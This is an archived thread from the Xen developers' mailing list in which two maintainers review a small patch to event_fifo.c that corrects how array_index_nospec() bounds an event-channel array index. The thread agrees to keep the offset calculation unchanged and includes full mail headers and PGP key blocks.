--------------gDIsH353XH9uw7xyuYf0R3gs
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpqDHMFAwAAAAAACgkQZg+p0QLLz9D6
sgv+KDJ1IsYTvQSAWCQidWKYmL6uTleH5YUfAOsA4cX1dk63cQ7UldZuZRgQQ4x7WNFdLbUO4KEm
Wts2uZsYSM913QhrzV0Z/YUvqdKINem8t6HNTUGRxr44X4oeXzmol/GSgi24O/SoWzeKRhc2A3F/
odadLDOoAaAae+p+zjuXXHZl0jcv9xnn6hr2gJV5kJJ7bHKl/xf1KgBrYsZ8oEFq5J30as9ho7cP
ZYBPs4vATMAp4UqQpWHF74/2XHfr7wVk8ugjIThwiCiSjxxsowxchzXYJYV9QpXBiNspzu8u43dq
dzhEjnlO6cs26UE0DwfSif0qo0WROsLcIY7umxsMFrkAKcR1+vFNWnIc+UzsB2Z+DRzIl99Gu1Dj
9AFrieT9xqBhGN33tJ0XeZUg1a8A5qh5+qdLRZTwNrXL6rayY489aDvk4n2s6fJwqD8nXGd91shO
IwWvfV0yeEk/qhkHk0V6NZasGs+OjM8AaZgHN9Q27AXNUe59RWN8bEXBmzeK
=XJMP
-----END PGP SIGNATURE-----

--------------gDIsH353XH9uw7xyuYf0R3gs--


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 14:23:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 14:23:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376048.1623023 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5BT-0007wm-UW; Wed, 29 Jul 2026 14:22:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376048.1623023; Wed, 29 Jul 2026 14:22:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5BT-0007wf-Rc; Wed, 29 Jul 2026 14:22:59 +0000
Received: by outflank-mailman (input) for mailman id 1376048;
 Wed, 29 Jul 2026 14:22:58 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wp5BS-0007wV-7r
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:22:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp5BR-007w2n-L2
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:22:57 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6a0cbe-2eae-0a2a0a5409dd-0a2a4508cdd8-4
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:22:57 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6a0cc1-f659-0a2a45080019-d155802bc89b-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:22:57 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-4956869750eso7377985e9.2
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 07:22:57 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49764d70144sm61478225e9.2.2026.07.29.07.22.55
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 07:22:56 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785334977; x=1785939777; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=M5sy5tb8lJxpKIWFOrAAHUJ7CEmiDdIQXC53riAXdtU=;
        b=Xmt7CZSkOQqKb/KlUvW7jlueAKk8rlg/sNIZbKuixIsSvgTwTKdK9l/VFIkVMOG2km
         1tKztiDsSeHEmP+V5fTCoFxQsEgLDDEWP8uXs3QocWiQoAjkClf75U6d58DqFEO3WM+x
         iTa4uJDMoF4ciDjJo5NM4CH9BI3+6vi9Oj4jOcgeiBsZBL6yRopR3pVtUJFQYJPGJdCS
         N3OExiPmTkabAJkl8sCLOPbMlvHq6hSeGoRhMtNKjMKj/PFDkuCMNIJ73Lm1NtjWnHxx
         kZFl9+ELAgUYh8FudO+fT0lDUULV1rN30f0OltiriJ5WTKiWzq6XOtgyuD5VdZgkGO4j
         tuVw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785334977; x=1785939777;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=M5sy5tb8lJxpKIWFOrAAHUJ7CEmiDdIQXC53riAXdtU=;
        b=BWPP02iBfvgfrcImxzPMYgr3ovYWQfP/MZ/ZrWpR6f98tkK30IInw71dLjcT+X1gaw
         sqKA4hijARGNBSv5MSz1+fv6DtI8Ss3Ol34bPlaLlmlcU5rYEziTx0LNaeKw7z6q5a+Q
         11vus+488Ojqzs3DmGqUhpKgoj0N/XFIbj+cpxdByLbRgjW3Kn1EDqWSflehqvh3rHfd
         y5QP3MiH7iIa/DBzXbmyQrUBM/EUWjXzGE3HMtdKTV5TQrNuKAj8g/c19oQ4kfe5CBdb
         wbgfw2FrKO6TeWNvhIQwnonNXoPMgsHF4G5GnyUJeT/ALvUNFCisTTtBdk2TRB8p5cad
         BxSg==
X-Forwarded-Encrypted: i=1; AHgh+RrenRhF0aiUUoxoNSle9P7kkHCH0vwofk/V5WfmwzZp8vgIvycxjTUOeQHP3oDaaGaqIhdcN8YyNP0=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yz9T1vK9voKv+RRvm11vCSeNAG4gXvh0HjrcytODdM04GRGWW19
	WuURL9GcCUyxEF1uLkKMV9HbUDyWhW7aFMxIoWSaWKTNob1kuhn0GdvepjjOOmszZQ==
X-Gm-Gg: AR+sD12gy3HlHC0qENwA6MaEY14BWxgxLcosTY7WxtJ6BpBxFbD/LffwZu1VvSfmb1Z
	0Nnt3pn6/fqD1xPHemWgJz72nseyntQ6eYViakgaVqZ/Wo6N0lXAFjphK3YrgucceHEK2uB2Ot0
	fa6K3dfPKS5uNZjIGp1w1CBZNAZWdltDEYt/x9oLxJtQULfVMqJLYyV0r8Pkk0P5+C6hHkdRVis
	QtfFTEKGd5Zflb6hOiLw19a4D/LjGhHrMmMElEWyZXJSl1E0nsdLu+BakTGUAVlJCcP2kf6Q6Gv
	iAL74H7u91Ri5ph4YobxVu765pFJNy7G9Lv6qJ6vjGyfHfgfY5UqYXYiGXpcEI3QOnMwn7wTGuo
	Ov2C4up1EUeOUuZY663Qo/tT5NudooENCF9OrEQ0B7skIQYNK2uylsbCOQmc8Awo5TTKfuT1zbT
	cpbRjy3diQuiE7zTFyouV7yP4DIqgL8A8BsKoQaGZNki4zOEJ07hmdTiBK/OzQ+UAUfyWOOV1jX
	emT2tHr0CNd8tfTKp3sTA9kOQrOLlvyJsjpuVta+VZDQDHqVCMq
X-Received: by 2002:a05:600c:1c27:b0:493:e974:41ac with SMTP id 5b1f17b1804b1-496c643c6f9mr81334045e9.16.1785334976854;
        Wed, 29 Jul 2026 07:22:56 -0700 (PDT)
Message-ID: <ab05fe35-1017-49ce-be3d-69afe3ffb62b@suse.com>
Date: Wed, 29 Jul 2026 16:22:55 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xen/evtchn: fix wrong usage of array_index_nospec()
To: Juergen Gross <jgross@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260729141254.345989-1-jgross@suse.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260729141254.345989-1-jgross@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1785334977-D574B87B-BBCF2B76/0/0
X-purgate-type: clean
X-purgate-size: 1051

On 29.07.2026 16:12, Juergen Gross wrote:
> --- a/xen/common/event_fifo.c
> +++ b/xen/common/event_fifo.c
> @@ -71,11 +71,10 @@ static inline event_word_t *evtchn_fifo_word_from_port(const struct domain *d,
>       */
>      smp_rmb();
>  
> -    p = array_index_nospec(port / EVTCHN_FIFO_EVENT_WORDS_PER_PAGE,
> -                           d->evtchn_fifo->num_evtchns);
> -    w = port % EVTCHN_FIFO_EVENT_WORDS_PER_PAGE;
> +    p = array_index_nospec(port, d->evtchn_fifo->num_evtchns);
> +    w = p % EVTCHN_FIFO_EVENT_WORDS_PER_PAGE;

I don't see why the calculation of w would also need to change - whichever way
it is, w is bounded by EVTCHN_FIFO_EVENT_WORDS_PER_PAGE (and hence safe).
Preferably with that undone (can do while committing):
Reviewed-by: Jan Beulich <jbeulich@suse.com>

Jan

> -    return d->evtchn_fifo->event_array[p] + w;
> +    return d->evtchn_fifo->event_array[p / EVTCHN_FIFO_EVENT_WORDS_PER_PAGE] + w;
>  }
>  
>  static void cf_check evtchn_fifo_init(struct domain *d, struct evtchn *evtchn)



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 14:26:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 14:26:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376061.1623032 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5Ey-00006i-FM; Wed, 29 Jul 2026 14:26:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376061.1623032; Wed, 29 Jul 2026 14:26:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5Ey-00006b-Ck; Wed, 29 Jul 2026 14:26:36 +0000
Received: by outflank-mailman (input) for mailman id 1376061;
 Wed, 29 Jul 2026 14:26:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wp5Ex-00006V-QJ
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:26:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp5Ex-007wVi-6o
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:26:35 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a6a0d86-bab6-0a2a0a5309dd-0a2a45038e0c-28
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:26:35 +0200
Received: from [209.85.218.50] (helo=mail-ej1-f50.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a6a0d9a-fae8-0a2a45030019-d155da32ecd0-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:26:35 +0200
Received: by mail-ej1-f50.google.com with SMTP id
 a640c23a62f3a-c15f47e6297so121558366b.0
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 07:26:35 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1f83cdf452sm126130866b.14.2026.07.29.07.26.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 07:26:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785335194; x=1785939994; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=wkFtYNqsSRXyUMxwxmhrS/LJgTShce8Xuqvelo7AOW0=;
        b=EWemrbVfmhYXBUOp8CvyCXiuJqgdV6TyTo3ji0F3Ru+CWN6WLeQmM2QGdU05IkbKwl
         +cNdZ0U/q/Z+hjKAvLePvPUbbiXU+b++yz2NHb63+abcjAbAxPSLP++3rV3tYQudf5JB
         IxDN0UUXTOpB0GsyF1LavfKPYbn9CWgyxRY4UZwTxBHfMnM++6yI4hcaff8ugQzOFfYO
         Tb15XDlziI+RWlCRKkEzMTemGTQS/b3G9fdiMTjObZpz7WKiYyAwt+onQCB/e52stvhC
         sgcS6cvg2oQPaeVOgejy8tu5ifkvvxtqk0R1pIGejP2/9FY+HUnV/8Pt4KA68rYEiSUT
         5FvQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785335194; x=1785939994;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=wkFtYNqsSRXyUMxwxmhrS/LJgTShce8Xuqvelo7AOW0=;
        b=rPYhdq9Av+Ub7KVlQJsi0RCYqMwvYwXCwF3NYoohCtXvjjxyJFMhRpESOlYLtjgBeq
         ARWSrBbOlvjeNvFqWGZhbWUQy6Xo6cfZomPZI9l/Kmg1YOHz7sx35uMySVWjq+1CaFh5
         rvxajhZyQFdfOd2smulwKNuGJ2qTwTf7glOyRZnlz52Px+rehcyxr2zRjB80Ye3VrfZ7
         vivEHItuBQytWYjYznEFSzmQxe5BFVSj4zcua6ZiEmtEqakZPivG3gx6cYgdPPsEI6Y1
         79xMSRjs14Qtrc1Qk8eMDmaUp3+C7PuF42pi5CvtBiXgyruO5SldqZWrrIEgDSAcl6wG
         19JQ==
X-Forwarded-Encrypted: i=1; AHgh+RoWXfmj4W1l/rx2Y+nSA78o7tGcAybKBqJgDjI3YjpV8vhUamWP+1IHSxQ+WZ0Mlr/23OP5iOvax3A=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyBB4878ZNozh4a7y6SU/1V32TZDTIJVQgtA0tmmPZ91/O8QPxW
	kT9T2P9WW3MQyUTphtlMWb3tcwtIyauA6zDh1hIaUvoDzmOTILJ1q799oLavAylu6zY=
X-Gm-Gg: AR+sD10NMMYmh31DpFBNFn7P8vNT4z2SfjDWsd11RlWKVLfeo0fW5w0HXRuqoSXp/Bb
	4W1UTd+KXSLLHXYquV4R4Px7lLP2eCucYgLvYHYMaPteohnAHkiRq1QGLyb19kp9Ub4bX08/a5a
	WJJzgH7YfCEHcMXW4m9Qq97fCePIbe5WD3Ej9Q2Z0aU8uN3XJPs8ElghMfeHSm7DkLJAvQuKMUv
	VEHOeJZJliLqN/NqW08lIyl7VL8TbziirYh/qepS2cNo1PDyI9azW8zXCMTU0kLAnAkeBic/FMi
	H4MwFfrCJdz8bSIWRr9NoEh7xMR3NDg4u0DLXKP5HAO7ulqt22/CXriBHLl6rqOopxQ50sjclGd
	AzHIXdAi1N2VFuKPUp0OxXs3VdH6CKvhE3Uv/cYeG6cncavhHTofg0UWmz3bTgx0FKCA8CK+QvC
	4DoSamQSU83le0qmg1JgEAikK6KNp0R17XEqfSn4UIMihP7v5DiAn+MyGyNbAjBa8N3LhAl3sVm
	CSTmYiBrYR1K4K5WmakfWNAtpSt/wFhjTcBljR9xDyi2CkF5IHznwfrT1IHJYU9DhL8rkR+K3zM
	TKZ5LgcHQ3to21Q=
X-Received: by 2002:a17:907:3cc2:b0:c19:473b:dc8f with SMTP id a640c23a62f3a-c1f71e956d7mr434501466b.3.1785335194535;
        Wed, 29 Jul 2026 07:26:34 -0700 (PDT)
Message-ID: <d65f80e2-2585-4728-9dee-43130278a9db@suse.com>
Date: Wed, 29 Jul 2026 16:26:33 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xen/evtchn: fix wrong usage of array_index_nospec()
To: Jan Beulich <jbeulich@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260729141254.345989-1-jgross@suse.com>
 <ab05fe35-1017-49ce-be3d-69afe3ffb62b@suse.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ez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98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <ab05fe35-1017-49ce-be3d-69afe3ffb62b@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------MGcRpTDU0oCkYcUoLAW2n8pv"
X-purgate-ID: tlsNG-33051d/1785335195-7448C4E9-E068EA2F/0/0
X-purgate-type: clean
X-purgate-size: 9126

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------MGcRpTDU0oCkYcUoLAW2n8pv
Content-Type: multipart/mixed; boundary="------------XbpG1UKf0tojx2JE0CTNCueJ";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
Message-ID: <d65f80e2-2585-4728-9dee-43130278a9db@suse.com>
Subject: Re: [PATCH] xen/evtchn: fix wrong usage of array_index_nospec()
References: <20260729141254.345989-1-jgross@suse.com>
 <ab05fe35-1017-49ce-be3d-69afe3ffb62b@suse.com>
In-Reply-To: <ab05fe35-1017-49ce-be3d-69afe3ffb62b@suse.com>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/E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UvPVYubAuy1XfSDzSeSBl//C
 v78Fclb+gi9GWidSTG/4hsEzd1fY5XwCZG/XJJY9M/sAAwUH/09Ar9W2U1Qm+DwZeP2ii3Ou
 14Z9VlVVPhcEmR/AFykL9dw/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------XbpG1UKf0tojx2JE0CTNCueJ
Content-Type: multipart/mixed; boundary="------------rQYV7CqueS207LqZIK6XYUaP"

--------------rQYV7CqueS207LqZIK6XYUaP
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjkuMDcuMjYgMTY6MjIsIEphbiBCZXVsaWNoIHdyb3RlOg0KPiBPbiAyOS4wNy4yMDI2
IDE2OjEyLCBKdWVyZ2VuIEdyb3NzIHdyb3RlOg0KPj4gLS0tIGEveGVuL2NvbW1vbi9ldmVu
dF9maWZvLmMNCj4+ICsrKyBiL3hlbi9jb21tb24vZXZlbnRfZmlmby5jDQo+PiBAQCAtNzEs
MTEgKzcxLDEwIEBAIHN0YXRpYyBpbmxpbmUgZXZlbnRfd29yZF90ICpldnRjaG5fZmlmb193
b3JkX2Zyb21fcG9ydChjb25zdCBzdHJ1Y3QgZG9tYWluICpkLA0KPj4gICAgICAgICovDQo+
PiAgICAgICBzbXBfcm1iKCk7DQo+PiAgIA0KPj4gLSAgICBwID0gYXJyYXlfaW5kZXhfbm9z
cGVjKHBvcnQgLyBFVlRDSE5fRklGT19FVkVOVF9XT1JEU19QRVJfUEFHRSwNCj4+IC0gICAg
ICAgICAgICAgICAgICAgICAgICAgICBkLT5ldnRjaG5fZmlmby0+bnVtX2V2dGNobnMpOw0K
Pj4gLSAgICB3ID0gcG9ydCAlIEVWVENITl9GSUZPX0VWRU5UX1dPUkRTX1BFUl9QQUdFOw0K
Pj4gKyAgICBwID0gYXJyYXlfaW5kZXhfbm9zcGVjKHBvcnQsIGQtPmV2dGNobl9maWZvLT5u
dW1fZXZ0Y2hucyk7DQo+PiArICAgIHcgPSBwICUgRVZUQ0hOX0ZJRk9fRVZFTlRfV09SRFNf
UEVSX1BBR0U7DQo+IA0KPiBJIGRvbid0IHNlZSB3aHkgdGhlIGNhbGN1bGF0aW9uIG9mIHcg
d291bGQgYWxzbyBuZWVkIHRvIGNoYW5nZSAtIHdoaWNoZXZlciB3YXkNCj4gaXQgaXMsIHcg
aXMgYm91bmRlZCBieSBFVlRDSE5fRklGT19FVkVOVF9XT1JEU19QRVJfUEFHRSAoYW5kIGhl
bmNlIHNhZmUpLg0KDQpJIHRob3VnaHQgaXQgd291bGQgYmUgY2xlYW5lciB0byB1c2UgcCBm
b3IgdGhlIGluZGV4IEFORCB0aGUgb2Zmc2V0Lg0KDQo+IFByZWZlcmFibHkgd2l0aCB0aGF0
IHVuZG9uZSAoY2FuIGRvIHdoaWxlIGNvbW1pdHRpbmcpOg0KDQpJZiB5b3UgcHJlZmVyIHRo
aXMsIGdvIGFoZWFkLg0KDQo+IFJldmlld2VkLWJ5OiBKYW4gQmV1bGljaCA8amJldWxpY2hA
c3VzZS5jb20+DQoNClRoYW5rcywNCg0KDQpKdWVyZ2VuDQo=
--------------rQYV7CqueS207LqZIK6XYUaP
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9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Y74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
